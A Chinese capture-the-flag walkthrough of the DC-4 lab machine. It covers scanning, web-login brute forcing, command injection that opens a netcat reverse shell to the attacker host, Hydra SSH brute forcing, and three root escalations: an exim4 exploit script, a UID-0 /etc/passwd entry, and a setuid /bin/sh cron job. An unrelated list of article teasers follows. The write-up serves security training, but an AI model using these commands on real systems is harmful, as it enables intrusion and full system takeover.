DC-4靶场

目录

nmap进行主机发现

尝试反弹shell:

 进入交互式shell:

Hydra爆破jim用户密码:

ssh登录charles :                                                        

提权(三种方法):

exim4提权:

/var/passwd添加用户提权

定时任务提权


DC-4:

DC-4靶场链接:https://www.five86.com/downloads/DC-4.zip

下载后解压会有一个DC-4.ova文件,直接在vm虚拟机点击左上角打开-->文件-->选中这个.ova文件就能创建靶场,kali(192.168.183.138)和靶机都调整至NAT模式

nmap进行主机发现

nmap 192.168.183.0/24

命令 nmap 192.168.183.0/24 的作用是对以 192.168.183 开头的所有 IP 地址进行扫描。/24 表示使用子网掩码为 24 来指定要扫描的 IP 范围。具体来说,这个命令将扫描 192.168.183.1 到 192.168.183.254 之间的所有 IP 地址。

Nmap scan report for 192.168.183.147

Host is up (0.00067s latency).

Not shown: 998 closed tcp ports (reset)

PORT   STATE SERVICE

22/tcp open  ssh

80/tcp open  http

MAC Address: 00:0C:29:BB:85:0D (VMware)

所以靶机地址192.168.183.147,开启80端口和22远程登录端口

也可以使用arp-scan -l 进行发现

arp-scan -l

报告为:

Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:2b:e1, IPv4: 192.168.183.138

Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)

192.168.183.1   00:50:56:c0:00:08       VMware, Inc.

192.168.183.2   00:50:56:fc:0d:25       VMware, Inc.

192.168.183.147 00:0c:29:bb:85:0d       VMware, Inc.

192.168.183.254 00:50:56:fe:ac:e6       VMware, Inc.

进行whatweb指纹识别(kali自带)

whatweb -v 192.168.183.147

得到报告:

Detected Plugins:

[ HTML5 ]

        HTML version 5, detected by the doctype declaration

[ HTTPServer ]

        HTTP server header string. This plugin also attempts to

        identify the operating system from the server header.

        String       : nginx/1.15.10 (from server string)

[ PasswordField ]

        find password fields

        String       : password (from field name)

[ nginx ]

        Nginx (Engine-X) is a free, open-source, high-performance

        HTTP server and reverse proxy, as well as an IMAP/POP3

        proxy server.

        Version      : 1.15.10

        Website     : http://nginx.net/

登录80页面,是个登录框,burpsuite抓包密码爆破登录,随便点点发现长度660和636都能登录进去

这里有个列出文件的选项,和dirsearch扫出来的文件一样,打开后都没什么用

但是可以抓包然后run一下,可能涉及命令执行

 显然我们能通过修改radio的值来命令执行

执行ls+/、id命令,这里无法执行cat命令

执行 id 命令可以显示当前用户的身份信息。输出结果通常包含以下内容:

  1. 用户标识号(UID):唯一标识用户的数字值。
  2. 组标识号(GID):唯一标识用户所属组的数字值。
  3. 用户名称:当前用户的用户名。
  4. 组名称:当前用户所属的主要组名称。
  5. 附加组(如果有):当前用户所属的其他组名称。
  6. 用户及组的相关权限。

返回uid=33(www-data) gid=33(www-data) groups=33(www-data)

  • uid=33 表示当前用户的用户标识号是 33,即该用户是系统中的第 33 个用户。这个用户标识号对于 Linux 系统来说是唯一的,并且很多系统组件和进程都使用它来标识和验证用户身份。
  • gid=33 表示当前用户所属的组标识号也是 33,即该用户属于系统中的第 33 个用户组。同样地,组标识号对于 Linux 系统来说也是唯一的,并且用于标识和验证用户所属的组。
  • groups=33 表示当前用户同时也属于其他附加组,这里只有一个附加组,也是组标识号为 33 的 www-data 组。

因此,这个输出结果表明当前用户是 www-data 用户组的成员

尝试反弹shell:

反弹shell的方法参考:Linux下几种反弹Shell方法的总结与理解 - FreeBuf网络安全行业门户

攻击机kali开启监听:

nc -lvvp 666

Radio后面执行:

nc+192.168.183.138+666+-e+/bin/bash

注意ip是kali的ip,发包然后返回kali

 进入交互式shell:

python -c "import pty;pty.spawn('/bin/bash')"

 进入后先去翻home,看见三个用户名,在jim的目录下翻到备份密码

www-data@dc-4:/home/jim/backups$ ls
ls
old-passwords.bak

把密码都复制到一个文本里

touch /home/kali/桌面/1.txt

vim /home/kali/桌面/1.txt

按i进入插入模式,复制备份密码,按ESC键退出插入模式,然后输入:wq保存退出

Hydra爆破jim用户密码:

hydra -l jim -P /home/kali/桌面/1.txt ssh://192.168.183.147:22

报告为:

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-17 18:02:47

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 253 login tries (l:1/p:253), ~16 tries per task

[DATA] attacking ssh://192.168.183.147:22/

[STATUS] 156.00 tries/min, 156 tries in 00:01h, 99 to do in 00:01h, 14 active

[ssh] host: 192.168.183.147   login: jim   password: jibril04

得到密码为jibril04

本来想偷懒同样爆破一下root的密码,不过果然不行

远程登录jim:

ssh jim@靶机ip

看一下/var路径的文件。/var 是一个重要的目录,它包含了许多应用程序和系统服务生成的数据文件。

下面是一些常见的 /var 目录下的子目录及其用途:

  • /var/log:存储系统日志文件,包括登录日志、错误日志、应用程序日志等。
  • /var/spool:存储邮件队列、打印队列等临时性的数据。
  • /var/cache:用于存储应用程序缓存的数据,例如软件包管理器的下载缓存。
  • /var/www 或 /var/html:Web 服务器默认的网站根目录,通常用于存储网站文件。
  • /var/run:存储正在运行的进程的相关信息,如 PID 文件等。
  • /var/tmp:存储临时文件,与 /tmp 目录类似,但该目录下的文件在系统重新启动时不会被清理。

当看到/var/mail/jim的时候,往下拉内容居然是

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is:  ^xHhA&hvim0y

See ya,

Charles

从邮件中可以看出Charles今天结束就要度假了,所以走之前把他的密码给Jim。密码是^xHhA&hvim0y

ssh登录charles :                                                        

┌──(kali㉿kali)-[~/桌面]

└─$ ssh charles@192.168.183.147

charles@192.168.183.147's password:

Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686

The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

charles@dc-4:~$

sudo -l

Matching Defaults entries for charles on dc-4:

    env_reset, mail_badpass,

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on dc-4:

    (root) NOPASSWD: /usr/bin/teehee

最后一行发现了root权限的命令teehee,teehee是个小众的linux编辑器,如果有sudo权限,可以利用其来提权,核心思路就是利用其在passwd文件中追加一条uid为0的用户条目

提权(三种方法):

exim4提权:

查看具有suid权限的命令

find / -user root -perm -4000 -print 2>/dev/null

这个命令的作用是在整个文件系统中搜索所有属主为root且具有setuid位的文件,并将它们的路径输出到标准输出(终端屏幕)上。具体来说,这个命令使用了find命令和一些选项,如下所示:

  • find:用于在文件系统中搜索文件和目录。
  • /:表示搜索的起始目录,这里是整个文件系统。
  • -user root:表示只搜索属主为root的文件。
  • -perm -4000:表示只搜索具有setuid位的文件。其中,4000是一个八进制数,表示setuid标志位的值为4。setuid位可以让非root用户以root权限执行该文件,因此具有一定的安全风险。
  • -print:表示将搜索到的文件路径输出到标准输出上。
  • 2>/dev/null:表示将错误输出重定向到空设备上。因为/root目录可能不可访问,所以在搜索时可能会出现一些错误信息,通过这个选项可以避免这些错误信息干扰结果。

在回显中发现一条/usr/sbin/exim4

可以用exim4提权,先查看exim4版本

exim4 --version

和上一个靶场一样,这里可以使用searchsploit

searchsploit exim 4

出来的结果很多,我们使用46996.sh

"Local Privilege E"表示本地特权升级漏洞;"Remote Command Ex"表示远程命令执行漏洞;"Denial of Service"表示拒绝服务漏洞等等

先打开Apache服务:

systemctl start apache2.service

把脚本复制到html下

 cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html

Charles用户那边用 wget命令下载这个脚本

charles@dc-4:/$ wget http://192.168.233.130/46996.sh

但是下载失败,转去/tmp目录下下载

cd /tmp

wget http://192.168.233.130/46996.sh

ls -l查看脚本权限,发现没有执行权限,我们需要给脚本加执行权限

chmod +x 46996.sh

执行脚本:

./46996.sh

 然后whoami发现已经为root

/var/passwd添加用户提权

echo "a::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

  1. echo "a::0:0:::/bin/bash":这是生成一个字符串的命令,其中包含了需要添加的用户信息。该字符串包括以下字段:

    • a: 新用户的用户名
    • ::: 用户密码(这里为空)
    • 0: 用户ID号,即UID(为0表示超级用户root)
    • 0: 用户组ID号,即GID(为0表示超级用户root)
    • ::: 用户的全名和其他描述信息(这里为空)
    • /bin/bash: 新用户登录后使用的默认shell
  2. |:这是管道符号,将上一个命令的输出作为下一个命令的输入。

  3. sudo teehee -a /etc/passwd:这个命令运行时需要管理员权限,因此使用sudo来获取管理员权限。teehee是一个自定义命令,实际上与tee命令类似,都可以将命令的输出写入文件并在标准输出中显示。-a参数表示以追加模式打开文件,/etc/passwd是要写入的目标文件,即用户账户信息存储文件。

综合起来,这个命令的作用是将一个新用户的信息添加到系统中,并利用管道符和teehee命令,将其(一个不用密码root权限的用户a)写入到/etc/passwd文件中,而我们可以通过修改/etc/passwd文件达到添加用户的效果,文件格式为

    [注册名]:[口令]:[用户标识号]:[组标识号]:[用户名]:[用户主目录]:[命令解析程序]

    口令为x即代表存放有密码,为空即代表没有密码,识标号为0代表root权限

 root提权:

su a

定时任务提权

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

这个命令的意思是将一条计划任务添加到系统的crontab中,使得每分钟执行一次chmod 4777 /bin/sh命令,以root用户的权限设置/bin/sh文件的权限为"rwsrwxrwx"。具体解释如下:

1、* * * * * root chmod 4777 /bin/sh:这个命令的作用是将/bin/sh文件的权限设置为"rwsrwxrwx",并且让root用户拥有该文件的所有权和权限。具体来说,这个命令使用了cron表达式(* * * * *),表示每分钟都要执行该命令。chmod 4777 /bin/sh命令中的chmod是一个Linux/Unix系统中用于修改文件或目录权限的命令。它的参数4777表示设置文件权限的特殊模式,其中:

  • 第一位数字4表示将setuid标志设置为1,即在执行该文件时,使用该文件所属用户的权限而不是当前用户的权限。
  • 后面的777表示将文件的拥有者、所属组和其他用户的权限都设置为读、写和执行(rwx)。

因此,这个命令的作用是给/bin/sh文件设置setuid位,使得任何用户在执行该文件时都能够以root用户的身份运行

2、| sudo teehee -a /etc/crontab:这部分命令使用管道符将上一步的输出传递给teehee命令,并使用sudo命令获取超级用户的权限。teehee命令会将标准输入的内容追加到/etc/crontab文件的末尾,从而将上述计划任务添加到系统的crontab中。

charles@dc-4:/$ cat /etc/crontab

# /etc/crontab: system-wide crontab

# Unlike any other crontab you don't have to run the `crontab'

# command to install the new version when you edit this file

# and files in /etc/cron.d. These files also have username fields,

# that none of the other crontabs do.

SHELL=/bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly

25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )

47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )

52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

#

* * * * * root chmod 4777 /bin/sh

* * * * * root chmod 4777 /bin/sh

还要再执行/bin/sh提权至root

/bin/sh 

后面已经提权至root权限,flag在/root下面:

# whoami

root

# cd /root

# ls

flag.txt

# cat flag.txt

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/231118.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

智能优化算法应用:基于社会群体算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用:基于社会群体算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用:基于社会群体算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.社会群体算法4.实验参数设定5.算法结果6.…

PIC单片机项目(4)——基于PIC16F877A的温度光照检测装置

1.功能设计 基于PIC16F877A单片机,使用DS18B20进行温度测量,使用光敏电阻进行光照测量,将测量值实时显示在LCD1602屏幕上,同时可以设定光照阈值和温度阈值。当温度大于阈值,则蜂鸣器报警,当光照小于阈值&am…

【源码解析】Semaphore角度聊聊AQS

案例 Semaphore,俗称信号量,它是操作系统中PV操作的原语在java的实现,它也是基于 AbstractQueuedSynchronizer实现的 private static ExecutorService threadPool Executors.newFixedThreadPool(4);private static Semaphore semaphore ne…

设计模式——结构型

1.装饰器模式 要素:装饰器,装饰对象 为待装饰对象中某一结构特征添加内容,而不是新建一个特征 /*** 装饰对象*/ public interface Shape {public void draw(); } /*** 具体装饰对象*/ public class Circle implements Shape{private String…

计算机组成原理——校验码

计算机组成原理学习笔记——校验码-CSDN博客 校验码——海明码及码距,码距_海明码的码距是多少-CSDN博客 1 下列关于码距与检错与纠错能力的描述中正确的是 (ABC) (多选) A. 码距为1的编码不具备任何检错能力 B. 码…

社交网络分析4(上):社交网络链路预测分析、Logistic回归模型、LLSLP方法(LightGBM 堆叠链路预测)、正则化方法、多重共线性

社交网络分析4 写在最前面社交网络链路预测分析概述链路预测分析简介链路预测分析的重要性社交网络链路预测分析方法基于网络结构的方法基于节点属性的方法基于随机游走的方法基于深度学习的方法 基于相似性和基于似然性的链路预测方法基于相似性的方法基于邻居的方法基于路径的…

Linux shell编程学习笔记36:read命令

*更新日志 *2023-12-18 1.根据[美] 威廉肖特斯 (Willian shotts)所著《Linux命令行大全(第2版)》 更新了-e、-i、-r选项的说明 2.更新了 2.8 的实例,增加了gif动图 3.补充了-i的应用实例 2.1…

回归预测 | MATLAB实现SABO-LSTM基于减法平均优化器优化长短期记忆神经网络的多输入单输出数据回归预测模型 (多指标,多图)

回归预测 | MATLAB实现SABO-LSTM基于减法平均优化器优化长短期记忆神经网络的多输入单输出数据回归预测模型 (多指标,多图) 目录 回归预测 | MATLAB实现SABO-LSTM基于减法平均优化器优化长短期记忆神经网络的多输入单输出数据回归预测模型 &a…

自清洗过滤器工作原理尺寸选型参数,内部结构,压差开关如何调节

​ 1:全自动自清洗过滤器设备介绍 全自动反冲洗过滤器是水净化过程中不可缺少的处理手段,用于拦截水中的各种杂质,以净化水质或保护系统中其他设备的正常工作。普通网式过滤器因其结构简单、过滤效果好、阻力小而广泛应用于水源过滤、工业循…

神经网络可以计算任何函数的可视化证明

神经网络可以计算任何函数的可视化证明 对于神经网络,一个显著的事实就是它可以计算任何函数。 如下:不管该函数如何,总有神经网络能够对任何可能的输入x,输出值f(x) 即使函数有很多输入和输出&#xff0…

Git提交前的必备神器——自动清除调试语句脚本

说在前面 不知道大家有没有遇到这样一种情况,平时在写代码调试时有时候会使用到debugger,可能大部分时间在提交代码前会记得把debugger先删除,但可能也会存在将debugger提交上去的情况,那我们该怎么防止出现这种情况呢&#xff1f…

RLC防孤岛负载测试:电力系统安全运行的重要保障

在电力系统中,孤岛效应是一个严重的问题,它可能导致电力系统的不稳定甚至崩溃。为了确保电力系统的安全运行,必须进行RLC防孤岛负载测试。RLC防孤岛负载测试是一种模拟电网故障后,对电力系统进行检测的方法,主要用于检…

在 linux上运行 Scratch,找到了更github 的项目地址,而且找到了scratch的官方项目。

1,关于Scratch Scratch 是麻省理工学院的“终身幼儿园团队”发布的一种图形化编程工具, 主要面对全球青少年开放,所有人都可以在软件中创作自己的程序。 2,在linux 上面还真有个默认的 scratch 版本 但是太老旧了。 于是找了下…

天猫数据分析平台-天猫销售数据查询软件-11月天猫平台冲锋衣市场销售运营数据分析

随着气温逐渐下降,保暖服饰迎来热销,冲锋衣的需求大增。如今冲锋衣已经不仅仅是户外运动的装备,还成为很多年轻人的日常穿搭和时尚的追求。 新的穿搭趋势也带来了巨大的市场机会。据公开数据显示,中国有冲锋衣生产及经营企业超过8…

分布式事务--TC服务的高可用和异地容灾

1.模拟异地容灾的TC集群 计划启动两台seata的tc服务节点: 节点名称ip地址端口号集群名称seata127.0.0.18091SHseata2127.0.0.18092HZ 之前我们已经启动了一台seata服务,端口是8091,集群名为SH。 现在,将seata目录复制一份&…

9. DashBoard

9. DashBoard 文章目录 9. DashBoard9.1 部署Dashboard9.2 使用DashBoard 在kubernetes中完成的所有操作都是通过命令行工具kubectl完成的。 为了提供更丰富的用户体验,kubernetes还开发了一个基于web的用户界面(Dashboard)。 用户可以使用…

【计算机网络】TCP协议——2.连接管理(三次握手,四次挥手)

目录 前言 一. 建立连接——三次握手 1. 三次握手过程描述 2. TCP连接建立相关问题 二. 释放连接——四次挥手 1. 四次挥手过程描述 2. TCP连接释放相关问题 三. TCP状态转换 结束语 前言 TCP——传输控制协议(Transmission Control Protocol)。是一种面向连接的传…

被我们忽略的HttpSession线程安全问题

1. 背景 最近在读《Java concurrency in practice》(Java并发实战),其中1.4节提到了Java web的线程安全问题时有如下一段话: Servlets and JPSs, as well as servlet filters and objects stored in scoped containers like ServletContext and HttpSe…

用“价值”的视角来看安全:《构建新型网络形态下的网络空间安全体系》

作者简介: 懒大王敲代码,正在学习嵌入式方向有关课程stm32,网络编程,数据结构C/C等 今天给大家介绍《构建新型网络形态下的网络空间安全体系》这本书,希望大家能觉得实用! 欢迎大家点赞 👍 收藏…

【C语言】鹏哥C语言刷题训练营——第5节内容笔记(含代码全面分析和改进,讲解)

系列文章目录 身躯已然冰封,灵魂仍旧火热 本文由睡觉待开机原创,未经允许不得转载。 本内容在csdn网站首发 欢迎各位点赞—评论—收藏 如果存在不足之处请评论留言,共同进步! 文章目录 系列文章目录前言题目链接(有需要…